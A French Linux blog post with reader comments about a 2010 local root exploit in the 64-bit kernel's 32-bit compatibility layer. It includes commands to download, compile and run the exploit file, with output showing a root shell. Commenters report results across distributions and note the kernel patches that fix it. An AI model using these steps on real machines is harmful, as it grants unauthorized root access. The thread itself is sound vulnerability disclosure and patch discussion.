Local Root Exploit pour certaines versions 64 bits de Linux
Une nouvelle faille de sécurité vient d'être découverte dans le noyau Linux et plus particulièrement dans le module de compatibilité 32-bit. L'exploit permet ainsi à un simple utilisateur de passer root sur une machine contenant une version 64 bits du noyau Linux. La seule solution pour contrer ce type d'attaque est de mettre à jour son système.
Voici un exemple d'utilisation de l'exploit :
wget www.tux-planet.fr/public/hack/exploits/kernel/robert-you-suck.c
gcc -o robert robert-you-suck.c
Ensuite, on exécutera ce dernier comme ceci :
./robert
resolved symbol commit_creds to 0xffffffff8108bd90
resolved symbol prepare_kernel_cred to 0xffffffff8108c170
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0# id
uid=0(root) gid=0(root)
Pour ma part, j'ai testé avec succès cette méthode sur un live CD d'Ubuntu 10.04 en version 64 bits. Une liste complète des versions d'Ubuntu impactées est disponible ici.
La distribution Redhat RHEL 5 ne semble pas concernée par cette faille, d'après ce rapport de bug.
Créé en 2005, Tux-planet est un site qui a pour ambition de regrouper des articles sur Linux et le monde des logiciels libres. 
21 Commentaires pour "Local Root Exploit pour certaines versions 64 bits de Linux"
Flux des commentaires de cet article Ajouter un commentaireça fonctionne à merveille sur archlinux
$ uname -a
Linux desktop 2.6.35-ARCH #1 SMP PREEMPT Fri Aug 27 17:14:28 CEST 2010 x86_64 Intel(R) Core(TM)2 Quad CPU Q9450 @ 2.66GHz GenuineIntel GNU/Linux
$ pacman -Qs kernel26
local/kernel26 2.6.35.4-1 (base)
The Linux Kernel and modules
local/kernel26-headers 2.6.35.4-1
Header files and scripts for building modules for kernel26
Et ça fonctionne également sur Fedora.
Enfin tant que personne n'a un accès physique ou distant à la machine ça devrait aller.
Mais faut faire gaffe quand meme...
Merci @Wido et @Maniatux pour vos retours, donc cette faille touche la plupart des distributions Linux 64 bits, c'est plutôt flipant.
Va falloir mettre à jour vos systèmes, surtout les serveurs...
Humm, je reconfirme que ça fonctionne sous arch. Mais il y a déjà une mise à jour du kernel.
edit : ah non, c'est juste une mise à jour du paquet.
En tous les cas, au niveau du noyau Linux, les développeurs ont déjà soumis des patchs depuis le 14 septembre ici et là.
$ uname -a
Linux bidule 2.6.26-2-amd64 #1 SMP Tue Aug 31 09:11:22 UTC 2010 x86_64 GNU/Linux
$ cat /etc/debian_version
5.0.6
$ gcc -o robert robert-you-suck.c
$ ./robert
symbol table not available, aborting!
Process finished
$ id
uid=3221 gid=226 groupes=220
bizarre, si la faille est présente sur Ubuntu, j'aurai juré pouvoir la reproduire sous Debian
@ben : le bout de code en question est le suivant :
Perso je n'y comprends pas grand chose, mais il suffit de savoir pourquoi il ne récupère pas la table des symbols et on saura pourquoi l'exploit ne marche pas sous ta Debian.
Hello,
Je viens de tester sous Centos 5 avec un accès local créer a cet effet et l'exploit ne fonctionne pas. ca m'arrange bien d'ailleurs ^^
sh-3.2$ uname --all
Linux localhost 2.6.30.4 #2 SMP Wed Jun 30 15:37:57 CEST 2010 x86_64 x86_64 x86_64 GNU/Linux
[18sept@srv50 ~]$ ls
robert robert-you-suck.c
[18sept@srv50 ~]$ ./robert
resolved symbol commit_creds to 0xffffffff8024e4e1
resolved symbol prepare_kernel_cred to 0xffffffff8024e6c7
mapping at 3f80000000
UID 500, EUID:500 GID:501, EGID:501
sh-3.2$ id
uid=500(18sept) gid=501(18sept) groupes=501(18sept)
sh-3.2$ ls /root
ls: /root: Permission non accordée
Max
Merci pour la remarque pti-seb, j'ai fait la feignasse c'est samedi après tout!
commit_cred applique des autorisations à un processus (commit credentials), il semble que ce soit la valeur suivante dans sysctl.conf:
vm.mmap_min_addr = 4096
dont tu parlais dans un exploit root précédent qui me protège encore de celui-ci.
A confirmer ou infirmer.
ref:
http://blog.ksplice.com/tag/mmap/
@ben : ah oui, maintenant que tu en parle cela me rappel que certains exploits ne fonctionne que si la valeure suivante est à zéro :
Au pire si tu veux faire des tests en la changant cette dernière ::
Testé sur Lucid X64 et ça ne fonctionne pas. Il y a eu une mise à jour du noyau hier soir.
J'ai eu une mise à jour du noyau sur ma Ubuntu 10.04 64b, et le prog ne prend plus les droits root
se7h@BlackPearl:~$ ./robert
resolved symbol commit_creds to 0xffffffff8108bdb0
resolved symbol prepare_kernel_cred to 0xffffffff8108c190
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
$ id
uid=1000(se7h) gid=1000(se7h) groupes=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(se7h)
$ ls /root
ls: impoossible d'ouvrir le répertoire /root: Permission non accordée
Résolut également sur Archlinux
$ uname -a
Linux acezar-ini7 2.6.35-ARCH #1 SMP PREEMPT Fri Sep 17 17:49:54 CEST 2010 x86_64 Intel(R) Core(TM) i7 CPU 930 @ 2.80GHz GenuineIntel GNU/Linux
$ ./robert
resolved symbol commit_creds to 0xffffffff81077f70
resolved symbol prepare_kernel_cred to 0xffffffff810783b0
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
salut
testé sous ubuntu server 10.04, 64 bits, avec un noyau 2.6.32-22
la faille fonctionnait
après mise à jour en 2.6.32-24 ça ne fonctionne plus
par contre, sur un ubuntu server 9.10 en 2.6.31-20, ça ne marche pas
L'exploit marche très bien sur mon Ubuntu 10.04 :s.
puckel@totop ~ % uname -a
Linux puckel-laptop 2.6.32-24-generic #42-Ubuntu SMP Fri Aug 20 14:21:58 UTC 2010 x86_64 GNU/Linux
puckel@totop ~ % ./robert
resolved symbol commit_creds to 0xffffffff8108bd90
resolved symbol prepare_kernel_cred to 0xffffffff8108c170
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0
# id
uid=0(root) gid=0(root)
@pti-seb :
j'ai pu tester en modifiant la valeur de vm.mmap_min_addr à 0, l'exploit de fonctionne toujours pas,
va savoir pourquoi.
@Puckel : oui, ton noyau est le 2.6.32-24 #42
le dernier en date est le 2.6.32-24 #43
met le à jour et plus de problème
au passage, voici le communiqué officiel d'ubuntu, qui indique quel kernel il faut installer pour être en sécurité: http://www.ubuntu.com/usn/usn-988-1
et ce lien c'est un autre backdoor pour les 64 bits?
http://linux.slashdot.org/story/10/09/20/0217204/Linux-Kernel-Exploit-Busily-Rooting-64-Bit-Machines
Fonctionne sous OpenSuse aussi
yoda:~/Téléchargement> uname -a
Linux yoda 2.6.34.7-0.2-desktop #1 SMP PREEMPT 2010-09-14 14:21:06 +0200 x86_64 x86_64 x86_64 GNU/Linux
Merci de l'info !
Et hop faille corrigée sous Gentoo : 2.6.35-gentoo-r8 (r7 aussi)
J'ai retenté aujourd'hui sur ma Fedora 64bits.
C'est bon, ça ne fonctionne plus.